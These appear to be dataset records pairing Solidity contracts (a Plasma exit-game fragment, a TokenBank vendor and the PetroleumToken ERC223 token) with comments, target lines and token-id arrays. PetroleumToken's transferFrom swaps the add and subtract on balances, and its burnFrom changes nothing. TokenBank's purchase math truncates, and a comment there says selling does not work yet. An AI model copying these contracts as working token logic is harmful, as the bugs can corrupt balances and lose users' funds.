_spendingTxInputIndex Which input to the spending transaction spends the input. * @param _spendingTxSig Signature that shows the input owner signed the spending transaction. */ function challengeInFlightExitOutputSpent( bytes _inFlightTx, uint256 _inFlightTxOutputPos, bytes _inFlightTxInclusionProof, bytes _spendingTx, uint8 _spendingTxInputIndex, bytes _spendingTxSig ) public { InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); // Check that the output is piggybacked. uint8 oindex = _inFlightTxOutputPos.getOindex(); require(isPiggybacked(inFlightExit, oindex + MAX_INPUTS)); // Check that the in-flight transaction is included. require(_transactionIncluded(_inFlightTx, _inFlightTxOutputPos, _inFlightTxInclusionProof)); // Check that the spending transaction spends the output. require(_inFlightTxOutputPos == _spendingTx.getInputUtxoPosition(_spendingTxInputIndex)); // Check that the spending transaction is signed by the input owner. PlasmaCore.TransactionOutput memory output = _inFlightTx.getOutput(oindex); require(output.owner == ECRecovery.recover(Eip712StructHash.hash(_spendingTx), _spendingTxSig)); // Remove the output from the piggyback map and pay out the bond. setExitCancelled(inFlightExit, oindex + MAX_INPUTS); msg.sender.transfer(piggybackBond); emit InFlightExitOutputBlocked(msg.sender, keccak256(_inFlightTx), oindex); } /** * @dev Processes any exits that have completed the challenge period. * @param _token Token type to process. * @param _topExitId First exit that should be processed. Set to zero to skip the check. * @param _exitsToProcess Maximal number of exits to process. */ function processExits(address _token, uint192 _topExitId, uint256 _exitsToProcess) public { uint64 exitableTimestamp; uint192 exitId; bool inFlight; (exitableTimestamp, exitId, inFlight) = getNextExit(_token); require(_topExitId == exitId || _topExitId == 0); PriorityQueue queue = PriorityQueue(exitsQueues[_token]); while (exitableTimestamp < block.timestamp && _exitsToProcess > 0) { // Delete the minimum from the queue. queue.delMin(); // Check for the in-flight exit flag. if (inFlight) { // handle ERC20 transfers for InFlight exits _processInFlightExit(inFlightExits[exitId], exitId, _token); // think of useful event scheme for in-flight outputs finalization } else { _processStandardExit(exits[exitId], exitId); } // Pull the next exit. if (queue.currentSize() > 0) { (exitableTimestamp, exitId, inFlight) = getNextExit(_token); _exitsToProcess--; } else { return; } } } /** * @dev Given an RLP encoded transaction, returns its exit ID. * @param _tx RLP encoded transaction. * @return _uniqueId A unique identifier of an in-flight exit. * Anatomy of returned value, most significant bits first: * 8 bits - set to zero * 1 bit - in-flight flag * 151 bit - tx hash */ function getInFlightExitId(bytes _tx) public pure returns (uint192) { return uint192((uint256(keccak256(_tx)) >> 105).setBit(151)); } /** * @dev Given transaction bytes and UTXO position, returns its exit ID. * @notice Id from a deposit is computed differently from any other tx. * @param _txbytes Transaction bytes. * @param _utxoPos UTXO position of the exiting output. * @return _standardExitId Unique standard exit id. * Anatomy of returned value, most significant bits first: * 8 bits - oindex * 1 bit - in-flight flag * 151 bit - tx hash */ function getStandardExitId(bytes memory _txbytes, uint256 _utxoPos) public view returns (uint192) { bytes memory toBeHashed = _txbytes; if (_isDeposit(_utxoPos.getBlknum())){ toBeHashed = abi.encodePacked(_txbytes, _utxoPos); } return _computeStandardExitId(keccak256(toBeHashed), _utxoPos.getOindex()); } function getFeeExitId(uint256 feeExitNum) public pure returns (uint192) { return _computeStandardExitId(keccak256(feeExitNum), 0); } function _computeStandardExitId(bytes32 _txhash, uint8 _oindex) internal pure returns (uint192) { return uint192((uint256(_txhash) >> 105) | (uint256(_oindex) << 152)); } /** * @dev Returns the next exit to be processed * @return A tuple with timestamp for when the next exit is processable, its unique exit id and flag determining if exit is in-flight one. */ function getNextExit(address _token) public view returns (uint64, uint192, bool) { PriorityQueue queue = PriorityQueue(exitsQueues[_token]); uint256 priority = queue.getMin(); return unpackExitId(priority); } function unpackExitId(uint256 priority) public pure returns (uint64, uint192, bool) { uint64 exitableTimestamp = uint64(priority >> 214); bool inFlight = priority.getBit(151) == 1; // get 160 least significant bits uint192 exitId = uint192((priority << 96) >> 96); return (exitableTimestamp, exitId, inFlight); } /** * @dev Checks if queue for particular token was created. * @param _token Address of the token. */ function hasToken(address _token) view public returns (bool) { return exitsQueues[_token] != address(0); } /** * @dev Returns the data associated with an input or output to an in-flight transaction. * @param _tx RLP encoded in-flight transaction. * @param _outputIndex Index of the output to query. * @return A tuple containing the output's owner and amount. */ function getInFlightExitOutput(bytes _tx, uint256 _outputIndex) public view returns (address, address, uint256) { InFlightExit memory inFlightExit = _getInFlightExit(_tx); PlasmaCore.TransactionOutput memory output; if (_outputIndex < MAX_INPUTS) { output = inFlightExit.inputs[_outputIndex]; } else { output = inFlightExit.outputs[_outputIndex - MAX_INPUTS]; } return (output.owner, output.token, output.amount); } /** * @dev Calculates the next deposit block. * @return Next deposit block number. */ function getDepositBlockNumber() public view returns (uint256) { return nextChildBlock - CHILD_BLOCK_INTERVAL + nextDepositBlock; } function flagged(uint256 _value) public pure returns (bool) { return _value.bitSet(255) || _value.bitSet(254); } /* * Internal functions */ function getInFlightExitTimestamp(InFlightExit storage _ife) private view returns (uint256) { return _ife.exitStartTimestamp.clearBit(255); } function isPiggybacked(InFlightExit storage _ife, uint8 _output) view private returns (bool) { return _ife.exitMap.bitSet(_output); } function isExited(InFlightExit storage _ife, uint8 _output) view private returns (bool) { return _ife.exitMap.bitSet(_output + MAX_INPUTS * 2); } function isInputSpent(InFlightExit storage _ife) view private returns (bool) { return _ife.exitStartTimestamp.bitSet(254); } function setPiggybacked(InFlightExit storage _ife, uint8 _output) private { _ife.exitMap = _ife.exitMap.setBit(_output); } function setExited(InFlightExit storage _ife, uint8 _output) private { _ife.exitMap = _ife.exitMap.clearBit(_output).setBit(_output + 2 * MAX_INPUTS); } function setNonCanonical(InFlightExit storage _ife) private { _ife.exitStartTimestamp = _ife.exitStartTimestamp.setBit(254); } function setFinalized(InFlightExit storage _ife) private { _ife.exitMap = _ife.exitMap.setBit(255); } function setNonCanonicalChallenge(InFlightExit storage _ife) private { _ife.exitStartTimestamp = _ife.exitStartTimestamp.setBit(255); } function setCanonical(InFlightExit storage _ife) private { _ife.exitStartTimestamp = _ife.exitStartTimestamp.clearBit(255); } function setExitCancelled(InFlightExit storage _ife, uint8 _output) private { _ife.exitMap = _ife.exitMap.clearBit(_output); } function isInputExit(InFlightExit storage _ife) view private returns (bool) { return _ife.exitStartTimestamp.bitSet(255) || _ife.exitStartTimestamp.bitSet(254); } function isFinalized(InFlightExit storage _ife) view private returns (bool) { return _ife.exitMap.bitSet(255); } /** * @dev Given an utxo position, determines when it's exitable, if it were to be exited now. * @param _utxoPos Output identifier. * @return uint256 Timestamp after which this output is exitable. */ function getExitableTimestamp(uint256 _utxoPos) public view returns (uint256) { uint256 blknum = _utxoPos.getBlknum(); if (_isDeposit(blknum)) { // High priority exit for the deposit. return block.timestamp + minExitPeriod; } else { return Math.max(blocks[blknum].timestamp + (minExitPeriod * 2), block.timestamp + minExitPeriod); } } /** * @dev Given a fee exit ID returns an exit priority. * @param _feeExitId Fee exit identifier. * @return An exit priority. */ function getFeeExitPriority(uint192 _feeExitId) public view returns (uint256) { return (uint256(block.timestamp + (minExitPeriod * 2)) << 214) | uint256(_feeExitId); } /** * @dev Given a utxo position and a unique ID, returns an exit priority. * @param _exitId Unique exit identifier. * @param _utxoPos Position of the exit in the blockchain. * @return An exit priority. * Anatomy of returned value, most significant bits first * 42 bits - timestamp (exitable_at); unix timestamp fits into 32 bits * 54 bits - blknum * 10^9 + txindex; to represent all utxo for 10 years we need only 54 bits * 8 bits - oindex; set to zero for in-flight tx * 1 bit - in-flight flag * 151 bit - tx hash */ function getStandardExitPriority(uint192 _exitId, uint256 _utxoPos) public view returns (uint256) { uint256 tx_pos = _utxoPos.getTxPos(); return ((getExitableTimestamp(_utxoPos) << 214) | (tx_pos << 160)) | _exitId; } /** * @dev Given a transaction and the ID for a output in the transaction, returns an exit priority. * @param _txoPos Identifier of an output in the transaction. * @param _tx RLP encoded transaction. * @return An exit priority. */ function getInFlightExitPriority(bytes _tx, uint256 _txoPos) view returns (uint256) { return getStandardExitPriority(getInFlightExitId(_tx), _txoPos); } /** * @dev Checks that a given transaction was included in a block and created a specified output. * @param _tx RLP encoded transaction to verify. * @param _transactionPos Transaction position for the encoded transaction. * @param _txInclusionProof Proof that the transaction was in a block. * @return True if the transaction was in a block and created the output. False otherwise. */ function _transactionIncluded(bytes _tx, uint256 _transactionPos, bytes _txInclusionProof) internal view returns (bool) { // Decode the transaction ID. uint256 blknum = _transactionPos.getBlknum(); uint256 txindex = _transactionPos.getTxIndex(); // Check that the transaction was correctly included. bytes32 blockRoot = blocks[blknum].root; bytes32 leafHash = keccak256(_tx); return Merkle.checkMembership(leafHash, txindex, blockRoot, _txInclusionProof); } /** * @dev Returns the in-flight exit for a given in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction. * @return An InFlightExit reference. */ function _getInFlightExit(bytes _inFlightTx) internal view returns (InFlightExit storage) { return inFlightExits[getInFlightExitId(_inFlightTx)]; } /** * @dev Checks that in-flight exit is in phase that allows for piggybacks and canonicity challenges. * @param _inFlightExit Exit to check. * @return True only if in-flight exit is in phase that allows for piggybacks and canonicity challenges. */ function _firstPhaseNotOver(InFlightExit storage _inFlightExit) internal view returns (bool) { uint256 periodTime = minExitPeriod / 2; return ((block.timestamp - getInFlightExitTimestamp(_inFlightExit)) / periodTime) < 1; } /** * @dev Returns the number of required inputs and sum of the outputs for a transaction. * @param _tx RLP encoded transaction. * @return A tuple containing the number of inputs and the sum of the outputs of tx. */ function _validateInputsOutputsSumUp(InFlightExit storage _inFlightExit, bytes _tx) internal view { _InputSum[MAX_INPUTS] memory sums; uint8 allocatedSums = 0; _InputSum memory tokenSum; uint8 i; // Loop through each input for (i = 0; i < MAX_INPUTS; ++i) { PlasmaCore.TransactionOutput memory input = _inFlightExit.inputs[i]; // Add current input amount to the overall transaction sum (token-wise) (tokenSum, allocatedSums) = _getInputSumByToken(sums, allocatedSums, input.token); tokenSum.amount += input.amount; } // Loop through each output for (i = 0; i < MAX_INPUTS; ++i) { PlasmaCore.TransactionOutput memory output = _tx.getOutput(i); (tokenSum, allocatedSums) = _getInputSumByToken(sums, allocatedSums, output.token); // Underflow protection require(tokenSum.amount >= output.amount); tokenSum.amount -= output.amount; } } /** * @dev Returns element of an array where sum of the given token is stored. * @param _sums array of sums by tokens * @param _allocated Number of currently allocated elements in _sums array * @param _token Token address which sum is being searched for * @return A tuple containing element of array and an updated number of currently allocated elements */ function _getInputSumByToken(_InputSum[MAX_INPUTS] memory _sums, uint8 _allocated, address _token) internal pure returns (_InputSum, uint8) { // Find token sum within already used ones for (uint8 i = 0; i < _allocated; ++i) { if (_sums[i].token == _token) { return (_sums[i], _allocated); } } // Check whether trying to allocate new token sum, even though all has been used // Notice: that there will never be more tokens than number of inputs, // as outputs must be of the same tokens as inputs require(_allocated < MAX_INPUTS); // Allocate new token sum _sums[_allocated].token = _token; return (_sums[_allocated], _allocated + 1); } /** * @dev Returns information about an input to a in-flight transaction. * @param _tx RLP encoded transaction. * @param _inputTx RLP encoded transaction that created particular input to this transaction. * @param _txInputTxsInclusionProofs Proofs of inclusion for each input creation transaction. * @param _inputSig Signature for spent output of the input transaction. * @param _inputIndex Which input to access. * @return A tuple containing information about the inputs. */ function _getInputInfo( bytes _tx, bytes memory _inputTx, bytes _txInputTxsInclusionProofs, bytes _inputSig, uint8 _inputIndex ) internal view returns (PlasmaCore.TransactionOutput, uint256, bool) { bool already_finalized; // Pull information about the the input. uint256 inputUtxoPos = _tx.getInputUtxoPosition(_inputIndex); PlasmaCore.TransactionOutput memory input = _inputTx.getOutput(inputUtxoPos.getOindex()); // Check that the transaction is valid. require(_transactionIncluded(_inputTx, inputUtxoPos, _txInputTxsInclusionProofs.sliceProof(_inputIndex))); require(input.owner == ECRecovery.recover(Eip712StructHash.hash(_tx), _inputSig)); // Challenge exiting standard exits from inputs already_finalized = _cleanupDoubleSpendingStandardExits(inputUtxoPos, _inputTx); return (input, inputUtxoPos, already_finalized); } /** * @dev Processes a standard exit. * @param _standardExit Exit to process. */ function _processStandardExit(Exit storage _standardExit, uint192 exitId) internal { // If the exit is valid, pay out the exit and refund the bond. if (_standardExit.owner != address(0)) { if (_standardExit.token == address(0)) { _standardExit.owner.transfer(_standardExit.amount + standardExitBond); } else { require(ERC20(_standardExit.token).transfer(_standardExit.owner, _standardExit.amount)); _standardExit.owner.transfer(standardExitBond); } // Only delete the owner so someone can't exit from the same output twice. delete _standardExit.owner; // Delete token too, since check is done by amount anyway. delete _standardExit.token; emit ExitFinalized(exitId); } } /** * @dev Processes an in-flight exit. * @param _inFlightExit Exit to process. * @param _inFlightExitId Id of the exit process * @param _token Token from which exits are to be processed */ function _processInFlightExit(InFlightExit storage _inFlightExit, uint192 _inFlightExitId, address _token) internal { // Determine whether the inputs or the outputs are the exitable set. bool inputsExitable = isInputExit(_inFlightExit); // Process the inputs or outputs. PlasmaCore.TransactionOutput memory output; uint256 ethTransferAmount; for (uint8 i = 0; i < 8; i++) { if (i < MAX_INPUTS) { output = _inFlightExit.inputs[i]; } else { output = _inFlightExit.outputs[i - MAX_INPUTS]; } // Check if the output's token or the "to exit" bit is not set. if (output.token != _token || !isPiggybacked(_inFlightExit, i)) { continue; } // Set bit flag to prevent future exits by standard exit mechanism. setExited(_inFlightExit, i); // Pay out any unchallenged and exitable inputs or outputs, refund the rest. ethTransferAmount = piggybackBond; if ((i < MAX_INPUTS && inputsExitable) || (i >= MAX_INPUTS && !inputsExitable)) { if (_token == address(0)) { ethTransferAmount += output.amount; } else { require(ERC20(_token).transfer(output.owner, output.amount)); } emit InFlightExitFinalized(_inFlightExitId, i); } output.owner.transfer(ethTransferAmount); } if (_shouldClearInFlightExit(_inFlightExit)) { _clearInFlightExit(_inFlightExit); } } function _shouldClearInFlightExit(InFlightExit storage _inFlightExit) internal returns (bool) { for (uint8 i = 0; i < MAX_INPUTS * 2; ++i) { // Check if any output is still piggybacked and awaits processing if (isPiggybacked(_inFlightExit, i)) { return false; } } return true; } function _clearInFlightExit(InFlightExit storage _inFlightExit) internal { // Refund the current bond owner. _inFlightExit.bondOwner.transfer(inFlightExitBond); // Flag as finalized setFinalized(_inFlightExit); // Delete everything but the exit map to block exits from already processed outputs. delete _inFlightExit.exitStartTimestamp; delete _inFlightExit.exitPriority; delete _inFlightExit.inputs; delete _inFlightExit.outputs; delete _inFlightExit.bondOwner; delete _inFlightExit.oldestCompetitor; } function _isDeposit(uint256 blknum) internal returns (bool) { return blknum % CHILD_BLOCK_INTERVAL != 0; } /** * @dev Can be called only once in `init`. */ function _initOperator() { require(operator == address(0)); operator = msg.sender; } }
Update the exit mapping.
inFlightExit.bondOwner = msg.sender;
6,432,287
[ 1, 1891, 326, 2427, 2874, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 316, 24243, 6767, 18, 26425, 5541, 273, 1234, 18, 15330, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.7.6; import "./Token.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract TokenBank { uint tokenEthRate = 1; event BuyTokens(address buyer, uint256 amountOfETH, uint256 amountOfTokens); Token private token; constructor(Token _token) public { token = _token; } function buyTokens() public payable { require(msg.value > 0, "Invalid Amount"); uint amountToBuy = (msg.value / 10**18 )* tokenEthRate; uint bankTokenBalance = token.balanceOf(address(this)); require(bankTokenBalance >= amountToBuy,"Token Bank Has Insufficient Tokens"); bool sent = token.transfer(msg.sender, amountToBuy); require(sent, "Failed to transfer token to user"); emit BuyTokens(msg.sender,msg.value,amountToBuy); } function sellTokens(uint256 tokenAmountToSell) public { //does not work yet // Check that the requested amount of tokens to sell is more than 0 require(tokenAmountToSell > 0, "Specify an amount of token greater than zero"); // Check that the user's token balance is enough to do the swap uint256 userBalance = token.balanceOf(msg.sender); require(userBalance >= tokenAmountToSell, "Your balance is lower than the amount of tokens you want to sell"); // Check that the Vendor's balance is enough to do the swap uint256 amountOfETHToTransfer = tokenAmountToSell / tokenEthRate; uint256 bankEthBalance = address(this).balance; require(bankEthBalance >= amountOfETHToTransfer, "Vendor has not enough funds to accept the sell request"); (bool sent) = token.transferFrom(msg.sender, address(this), tokenAmountToSell); require(sent, "Failed to transfer tokens from user to vendor"); (sent,) = msg.sender.call{value: amountOfETHToTransfer}(""); require(sent, "Failed to send ETH to the user"); } }
Check that the user's token balance is enough to do the swap
uint256 userBalance = token.balanceOf(msg.sender);
12,721,777
[ 1, 1564, 716, 326, 729, 1807, 1147, 11013, 353, 7304, 358, 741, 326, 7720, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 729, 13937, 273, 1147, 18, 12296, 951, 12, 3576, 18, 15330, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xd0c817155c4ca9459885545cb892d5ea4d699aa3 //Contract name: PetroleumToken //Balance: 0 Ether //Verification Date: 12/24/2017 //Transacion Count: 4 // CODE STARTS HERE pragma solidity ^0.4.18; library SafeMath { function smul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function sdiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function ssub(uint256 a, uint256 b) internal pure returns (uint256) { require( b <= a); return a-b; } function sadd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } /* * Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /* * PetroleumToken is an ERC20 token with ERC223 Extensions */ contract PetroleumToken { using SafeMath for uint256; string public name = "Petroleum"; string public symbol = "OIL"; uint8 public decimals = 18; uint256 public totalSupply = 1000000 * 10**18; bool public tokenCreated = false; bool public mintingFinished = false; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); event Burn(address indexed from, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); function PetroleumToken() public { require(tokenCreated == false); tokenCreated = true; owner = msg.sender; balances[owner] = totalSupply; require(balances[owner] > 0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canMint() { require(!mintingFinished); _; } function name() constant public returns (string _name) { return name; } function symbol() constant public returns (string _symbol) { return symbol; } function decimals() constant public returns (uint8 _decimals) { return decimals; } function totalSupply() constant public returns (uint256 _totalSupply) { return totalSupply; } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) constant private returns (bool) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = balanceOf(msg.sender).ssub(_value); balances[_to] = balanceOf(_to).sadd(_value); Transfer(msg.sender, _to, _value, _data); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = balanceOf(msg.sender).ssub(_value); balances[_to] = balanceOf(_to).sadd(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] = balanceOf(_to).ssub(_value); balances[_from] = balanceOf(_from).sadd(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].ssub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } function burn(uint256 _value) public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].ssub(_value); totalSupply = totalSupply.ssub(_value); Burn(burner, _value); } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender].ssub(_value); totalSupply.ssub(_value); Burn(_from, _value); return true; } function mint(address _to, uint256 _value) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.sadd(_value); balances[_to] = balances[_to].sadd(_value); Mint(_to, _value); Transfer(address(0), _to, _value); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } }
Contract that is working with ERC223 tokens/
contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } }
1,002,756
[ 1, 8924, 716, 353, 5960, 598, 4232, 39, 3787, 23, 2430, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
